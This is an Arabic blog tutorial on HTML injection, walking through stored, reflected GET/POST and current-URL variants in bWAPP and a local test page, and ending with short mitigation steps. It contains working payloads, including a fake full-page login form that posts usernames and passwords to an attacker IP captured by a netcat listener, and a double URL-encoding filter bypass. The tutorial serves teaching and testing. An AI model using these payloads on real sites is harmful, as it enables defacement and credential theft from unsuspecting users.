دليل شامل عن حقن HTML
قائمة المحتويات
- ما هي الـ HTML؟
- مقدمة إلى حقن HTML
- تأثير حقن HTML
- حقن HTML مقابل XSS
- أنواع الحقن
- Stored HTML
- Reflected HTML
- Reflected GET
- Reflected POST
- Reflected current URL
- خطوات التخفيف
ما هي الـ HTML؟
لغة توصيف النص الفائق هي اختصار لجملة "Hyper Text Markup Langauge" ، وهي لبنة البناء الأساسية للويب ، والتي تحدد تشكيل صفحات الويب عبر تطبيق ويب ، يتم استخدام الـ HTML لتصميم مواقع الويب التي تتكون من "نص تشعبي" من أجل تضمين "نص داخل نص" كارتباط تشعبي ومجموعة من العناصر التي تختتم عناصر البيانات لعرضها في المستعرض.
إذن ما هي هذه العناصر؟
"العنصر Element هو كل شيء تحتويه صفحة HTML ، أي أنه يحتوي على وسم الافتتاح Opening Tag ووسم الإغلاق Closing Tag مع محتوى النص Text Content بينهما."
علامة HTML
أجزاء من المحتوى تسمي علامة HTML ، مثل العنوان “heading” و الفقرة “paragraph” و النموذج "Form" وما إلى ذلك ، أسماء العناصر المحاطة بأقواس زاوية angle brackets وهي نوعين - وسم البداية Opening Tag تُعرف أيضًا باسم علامة الافتتاح و وسم النهاية Closing Tag يشار إليها كذلك باسم علامة الإغلاق.
سمات HTML
من أجل توفير بعض المعلومات الإضافية للعناصر ، نستخدم السمات ، فهي موجودة داخل علامة البداية وتأتي في أزواج "الاسم / القيمة" “name/value” ، بحيث يتبع اسم السمة "علامة يساوي" “equal-to sign” وقيمة السمة مع "علامات الاقتباس" “quotation marks”.
<a href = "http://https://hackernews-ar.blogspot.com"> Hacker News </a>هنا "href" هو "اسم السمة" و " http://https://hackernews-ar.blogspot.com" هي "قيمة السمة".
نظرًا لأننا الآن على دراية بمصطلحات HTML الأساسية ، فلنتحقق من "مخطط انسيابي لعناصر HTML" ثم سنحاول أيضًا تنفيذها جميعًا لإنشاء صفحة ويب بسيطة.

صفحة HTML الأساسية:
كل صفحة ويب عبر الإنترنت هي ملف HTML في جزء معين منها ، هذه الملفات ليست سوى ملفات نصية بسيطة بامتداد “ .html ” ، يتم حفظها وتنفيذها عبر متصفح الويب.
لذلك سنقوم بإنشاء صفحة ويب بسيطة في المفكرة الخاصة بنا وحفظها باسم hack.html:
<html> <head> <title> Hacker News </ title> </head> <body bgcolor = "pink"> <br> <center> <h2> WELCOME TO <a href="http://hackernews-ar.blogspot.com”> Hacker News </a> </h2> <br> <p> Author "Hacker News" </ p> </center> </body> </html>
سنفتح ملف “hack.html” هذا في المتصفح ونرى ما قمنا بانشاءه.
لقد نجحنا في تصميم أول صفحة ويب ولكن كيف عملت هذه العلامات ، دعنا نتحقق منها:
- عنصر <html> هو العنصر الجذر لكل صفحة HTML.
- يحدد <head> المعلومات الوصفية حول المستند.
- يحدد العنصر <title> عنوان لصفحة الويب.
- يحتوي العنصر <body> على محتوى الصفحة المرئي الذي يحتوي على "bgcolor" كسمة مثل "pink" .
- يحدد عنصر <br> الخط الفاصل أو يحدد السطر التالي.
- يحدد العنصر <h1> عنوان كبير.
- يحدد العنصر <p> فقرة
- تحدد <a> علامة الارتساء التي تساعدنا في إعداد "الارتباط التشعبي" .
أعتقد أن الأمر بسيط وواضح حول "الـ HTML وأهم استخداماتها" و "كيف يمكننا تنفيذ كل هذا" ، لذلك سنحاول اكتشاف الثغرات الرئيسية ومعرفة كيفية قيام المهاجمين بحقن أكواد HTML عشوائية في صفحات الويب المعرضة للخطر من أجل تعديل المحتوى المستضاف.
مقدمة إلى حقن HTML
يُطلق على HTML Injection أيضًا "عمليات التشويه الافتراضية" وهي واحدة من أكثر الثغرات الأمنية بساطة والأكثر شيوعًا والتي تنشأ عندما تفشل صفحة الويب في تأمين المدخلات التي يوفرها المستخدم أو تتحقق من صحة المخرجات ، مما يسمح للمهاجم بصياغة حمولاته و يقوم بحقن أكواد HTML الضارة في التطبيق من خلال الحقول الضعيفة ، بحيث يمكنه تعديل محتوى صفحة الويب وحتى التقاط بعض البيانات الحساسة.
سنلقي نظرة على هذا السيناريو ونتعرف على كيفية تنفيذ هجمات حقن HTML :
ضع في اعتبارك أن تطبيق الويب يعاني من ثغرة أمنية في حقن HTML ولا يقوم بالتحقق من صحة أي إدخال محدد. وهكذا يستغل المهاجم هذا الضعف ويحقن "نموذج تسجيل الدخول بتنسيق HTML" الخبيث لإغراء الزوار مثلا بـ "تذاكر أفلام مجانية" لخداع الضحية لتقديم بيانات اعتماده الحساسة.
الآن بينما يتصفح الضحايا صفحة الويب هذه ، وجد خيارًا للاستفادة من "تذاكر أفلام مجانية". وأثناء نقره فوقه ، حصل على شاشة تسجيل الدخول الخاصة بالتطبيق مرة أخرى ، وهي ليست سوى "نموذج HTML" الذي صنعه المهاجم. لذلك بمجرد إدخاله لبيانات اعتماده ، يلتقطها المهاجم من خلال جهاز المستمع ، مما يؤدي بالضحية إلى تعريض بياناته للخطر.
تأثير حقن HTML
عندما لا يتم تأمين حقول الإدخال بشكل صحيح في صفحة الويب ، قد تقودنا هذه الثغرة في بعض الأحيان إلى هجمات البرمجة النصية عبر الموقع (XSS) أو تزوير الطلب من جانب الخادم (SSRF). لذلك تم الإبلاغ عن هذه الثغرة الأمنية بمستوى الخطورة على أنه " متوسط" ومع "درجة CVSS 5.3" ضمن:
- CWE-80: تحييد غير لائق لعلامات HTML المتعلقة بالبرنامج النصي في صفحة ويب.
- CWE-79: تحييد غير لائق للإدخال أثناء إنشاء صفحة الويب.
حقن HTML مقابل XSS
في مثل هذه الهجمات ، هناك فرص عندما نستثني تنفيذ هجوم HTML Injection ونقع في خطأ XSS لأن حقن HTML يشبه تقريبًا البرمجة النصية عبر المواقع. ولكن إذا نظرنا عن كثب بين الاثنين ، فسنلاحظ أنه أثناء هجوم XSS ، يكون لدى المهاجم فرصة لحقن رموز جافا سكريبت وتنفيذها بينما في حقن HTML ، يجب عليه استخدام علامات HTML معينة لتشويه صفحة الويب.
والآن سنتعمق أكثر في هجمات حقن HTML المختلفة ونتحقق من الطرق غير المعتادة التي يمكننا من خلالها تشويه صفحات الويب والتقاط بيانات الضحايا.
HTML Stored
يُطلق على "Stored HTML" أيضًا اسم الثبات "Persistence" لأنه من خلال هذه الثغرة الأمنية ، يتم تخزين البرنامج النصي الضار المحقون بشكل دائم داخل خادم تطبيقات الويب ويقوم خادم التطبيق بإسقاطه مرة أخرى إلى المستخدم عندما يزور صفحة الويب التي تم حقنها. ومع ذلك ، عندما ينقر العميل على الحمولة التي تظهر كجزء رسمي من موقع الويب ، فسيتم تنفيذ كود HTML المحقون بواسطة المتصفح.
المثال الأكثر شيوعًا لـ Stored HTML هو "خيار التعليق" في المدونات ، والذي يسمح لأي مستخدم بإدخال ملاحظاته في شكل تعليقات للمسؤول أو المستخدمين الآخرين.
الآن سنحاول استغلال هذه الثغرة المخزنة في HTML والحصول على بعض بيانات الاعتماد لزوار الموقع المصاب.
استغلال HTML Stored
لقد فتحت عنوان IP المستهدف في المتصفح الخاص بك وقمت بتسجيل الدخول داخل BWAPP بصفتك bee: bug ، كما قمت بتعيين خيار “Choose Your Bug” "اختر الخطأ الخاص بك" على “HTML Injection – Stored (Blog)” وقمت بتشغيل زر الاختراق .
الآن سيتم إعادة توجيهنا إلى صفحة الويب التي تعاني من ثغرة في حقن HTML والتي تتيح للمستخدم إرسال مشاركته في المدونة كما هو موضح في لقطة الشاشة.
في البداية ، سننشئ إدخالًا عاديًا للمستخدم من خلال "bee" باسم "Hacker News" ، وذلك للتأكد من أن بيانات الإدخال قد تم تخزينها بنجاح في قاعدة بيانات خادم الويب ، والتي يمكن رؤيتها في " حقل الإدخال".
الآن ، سنحاول ضخ حمولتنا الضارة التي ستنشئ نموذج تسجيل دخول مستخدم مزيف على صفحة الويب المستهدفة هذه ، وبالتالي ستعيد توجيه الطلب الذي تم التقاطه إلى عنوان IP الخاص بنا .
أدخل كود HTML التالي داخل منطقة النص المحددة لإعداد هجوم HTML.
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm"> <table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td> <td><input type="text" name="password"/></td></tr><tr> <td colspan=2 align=center><input type="submit" value="Login"/></td></tr> </table></form>
من الصورة أدناه يمكن رؤية أنه عند النقر فوق الزر "إرسال" ، تم عرض نموذج تسجيل دخول جديد على صفحة الويب وبالتالي أصبح نموذج تسجيل الدخول هذا الآن في خادم الويب الخاص بالتطبيق ، والذي يتم تقديمه في كل مرة عندما يزور الضحية صفحة تسجيل الدخول الخبيثة هذه ، سيكون لديه دائمًا هذا النموذج الذي يبدو موثوقا بالنسبة له.

لنقم الآن بتمكين مستمع netcat الخاص بنا في المنفذ 4444 من أجل التقاط طلب الضحية.
nc –lvp 4444
والأن علينا الانتظار حتى يقوم الضحية بتشغيل هذه الصفحة في متصفحه ، ويدخل بياناته.
من الصورة أعلاه ، يمكن أن نرى أن المستخدم "ali" فتح صفحة الويب وحاول تسجيل الدخول بكلمة المرور 123
سنعود إلى netcat ونتحقق مما إذا كانت بيانات الدخول مسجلة أم لا.
من الصورة أدناه ، يمكن أن نرى أننا حصلنا على بيانات الاعتماد بنجاح.
Reflected HTML
يحدث HTML Reflected بمعنى المنعكس المعروف أيضًا باسم "Non-Persistence" عندما يستجيب تطبيق الويب فورًا على مدخلات المستخدم دون التحقق من صحة ما أدخله المستخدم ، وقد يؤدي ذلك إلى قيام المهاجم بحقن شفرة تنفيذية للمتصفح داخل استجابة HTML واحدة. يطلق عليه اسم "Non-Persistence" حيث لا يتم تخزين البرنامج النصي الخبيث داخل خادم الويب ، وبالتالي يحتاج المهاجم إلى إرسال الرابط الضار من خلال التصيد الاحتيالي لاستهداف المستخدم.
يمكن العثور بسهولة على ثغرة HTML المنعكسة في محركات البحث الخاصة بالموقع : هنا يكتب المهاجم بعض أكواد HTML التعسفية في مربع نص البحث ، وإذا كان موقع الويب ضعيفًا ، فستظهر صفحة النتائج كاستجابة لكيانات HTML هذه.
يتكون Reflect HTML بشكل أساسي من ثلاثة أنواع:
- Reflected HTML GET
- Reflected HTML POST
- Reflected HTML Current URL
قبل استغلال معامل HTML المنعكسة ، دعونا نذكر أنه باستخدام طريقة GET ، نطلب البيانات من مصدر معين بينما يتم استخدام طريقة POST لإرسال البيانات إلى خادم من أجل إنشاء / تحديث مورد.
Reflected HTML GET
هنا ، قمنا بإنشاء صفحة ويب ، والتي تسمح بالتالي للمستخدم بإرسال "تعليقات" مع "اسمه".
لذلك ، عندما يرسل المستخدم "hackerNews" تعليقاته على أنها "جيدة" ، تظهر رسالة في الأسفل كمايلي "Thanks hackerNews for your valuable time".
وبالتالي ، فإن هذه الاستجابة الفورية و"الاسم / القيمة" في عنوان URL تظهر أن هذه الصفحة قد تكون عرضة لـ HTML Injection وقد تم طلب البيانات عبر طريقة GET .
لذا ، لنحاول الآن إدخال بعض أكواد HTML في هذا "النموذج" حتى يتم تأكيده. اكتب البرنامج النصي التالي في حقل "الاسم" على النحو التالي
<h1> ali </ h1>وضبط "التعليقات" على "Good"
من الصورة أدناه يمكنك أن ترى أن اسم المستخدم "ali" قد تم تعديله كعنوان كما في رسالة الرد.
هل تتساءل لماذا حدث كل هذا ، سنتحقق من مقتطف الشفرة التالي.
مع سهولة عكس الرسالة على الشاشة ، لم يقم المطور بإعداد أي تحقق من صحة الإدخال ، أي أنه ببساطة "يردد" " رسالة الشكر" من خلال تضمين اسم الإدخال من خلال المتغير "$ _GET" .
"أحيانا يقوم المطور بإعداد بعض عمليات التحقق في حقول الإدخال مما يؤدي بالتالي إلى إعادة رمز HTML إلى الشاشة مرة أخرى دون تقديمه."
من الصورة أدناه ، يمكن أن نرى أنه عندما حاولت تنفيذ كود HTML في حقل الاسم ، فإنه يسقطه مرة أخرى كنص عادي على النحو التالي:
فهل الثغرة الأمنية مصححة هنا؟
سنتحقق من كل هذا من خلال التقاط الطلب الصادر بمساعدة "burpsuite" وسنرسل أيضًا الطلب الملتقط مباشرةً إلى علامة التبويب "Repeater" .
في علامة التبويب "Repeater" ، أثناء النقر فوق زر الانتقال "Go" للتحقق من الاستجابة التي تم إنشاؤها ، وجدت أن كيانات HTML الخاصة بنا قد تم فك ترميزها على النحو التالي:
وهكذا قمت بنسخ كود HTML الكامل "<a href = https://hackernews-ar.blogspot.com”> <h2> ali</h2> </a>" ولصق كل ذلك في علامة تبويب Decoder. بعيدًا عن اللوحة اليمنى ، قمت بالنقر فوق "Encode as" واخترت عنوان URL .
عندما نحصل على الإخراج المشفر ، سنقوم بتعيينه مرة أخرى في "Encode as" لعنوان URL للحصول عليه كما هو الحال في تنسيق عنوان URL المزدوج المشفر .
لنجرب ذلك الآن ، انسخ عنوان URL الكامل المشفر المزدوج والصقه في حقل "name =" ضمن علامة تبويب المكرر في خيار الطلب .
انقر فوق الزر Go للتحقق من الاستجابة التي تم إنشاؤها.
من الصورة أدناه ، يمكن أن نرى أننا نجحنا في معالجة الاستجابة.
الآن فقط قم بإجراء التعديلات المماثلة في علامة التبويب Proxy واضغط على زر "Forward" . من الصورة أدناه يمكن أن نرى ذلك ، لقد قمنا بتشويه صفحة الويب هذه أيضًا من خلال الحقول التي تم التحقق من صحتها.
سنتحقق من مقتطف الشفرة لنرى أين قام المطور بالتحقق من صحة الإدخال:
من الصورة أدناه يمكن أن نرى ذلك ، هنا قام المطور بعمل وظيفة "hack" للبيانات المتغيرة وحتى أنه قام بفك تشفير "<" and ">" إلى "& lt؛" و "& GT." بالنسبة إلى $ data و $ input على التوالي ، فقد استخدم أيضًا رمز urldecode الخاص بوظيفة PHP المدمجة لإدخال $ لفك تشفير عنوان URL.
من الصورة أدناه ، يمكنك أن ترى أن المطور قد نفذ وظيفة hack في حقل الاسم .
Reflected HTML POST
على غرار "صفحة ويب GET" ، فإن حقلي "الاسم" و "التعليقات" معرضان للهجوم هنا أيضًا ، نظرًا لأنه تم تنفيذ طريقة POST ، وبالتالي لن يتم عرض بيانات النموذج في عنوان URL.
سنحاول تشويه صفحة الويب هذه مرة أخرى ولكن هذه المرة سنضيف صورة بدلاً من نص ثابت مثل
<img src = "https://hackernews-ar.blogspot.com/imghacker/logo.png">من الصورة أدناه ، يمكنك أن ترى أن "شعار hackernews" قد تم وضعه فوق الشاشة ، وبالتالي يمكن للمهاجم هنا حتى إدخال تنسيقات وسائط أخرى مثل مقاطع الفيديو أو الصوتيات أو ملفات GIF.
Reflected HTML Current URL
هل يمكن أن يكون تطبيق الويب عرضة لحقن HTML دون وجود حقول إدخال على صفحة الويب؟
نعم ليس من الضروري أن يكون لديك إدخال مثل مربع تعليق أو مربع بحث ، فبعض التطبيقات تعرض عنوان URL الخاص بك على صفحات الويب الخاصة بها وقد تكون عرضة لإدخال HTML ، كما هو الحال في مثل هذه الحالات ، يعمل عنوان URL كحقل إدخال له .
من الصورة أعلاه ، يمكن أن نرى أنه يتم عرض عنوان URL الحالي على صفحة الويب على النحو التالي " http://192.168.0.16/hack/html_URL.php ". لذلك دعونا نتعامل مع هذه الميزة ونرى ما يمكننا الحصول عليه.
ضبط "burpsuite" الخاص بك والتقاط طلب HTTP المستمر

الآن سنتعامل مع هذا الطلب من خلال:
/hack/html_URL.php/ <h1> Hey_are_you_there؟ </h1>انقر فوق الزر "إعادة توجيه" للتحقق من النتيجة في المتصفح.

من الصورة أدناه ، يمكن أن نرى أننا نجحنا في تشويه موقع الويب ببساطة عن طريق إدخال رمز HTML المطلوب في عنوان URL لتطبيق الويب.
سنلقي نظرة على الكود الخاص به ونرى كيف تمكننا من الحصول على عنوان الويب الحالي على الشاشة
هنا استخدم المطور المتغير العام PHP كـ $ _SERVER من أجل التقاط عنوان URL للصفحة الحالية. علاوة على ذلك قام بتعديل اسم المضيف بـ "HTTP_HOST" وموقع المورد المطلوب إلى عنوان URL مع "REQUEST_URI" ووضعه كله في المتغير url$ .
عند الوصول إلى قسم HTML ، قام ببساطة بتعيين echo باستخدام متغير url$ دون أي تحقق ، لعرض الرسالة مع عنوان URL.
خطوات التصحيح
- يجب على المطور إعداد نص HTML الخاص به والذي يقوم بتصفية الأحرف الأولية من مدخلات المستخدم.
- يجب على المطور تنفيذ وظائف للتحقق من صحة مدخلات المستخدم بحيث لا تحتوي على أي علامة محددة يمكن أن تؤدي إلى تشوهات افتراضية.





















تعليقات
إرسال تعليق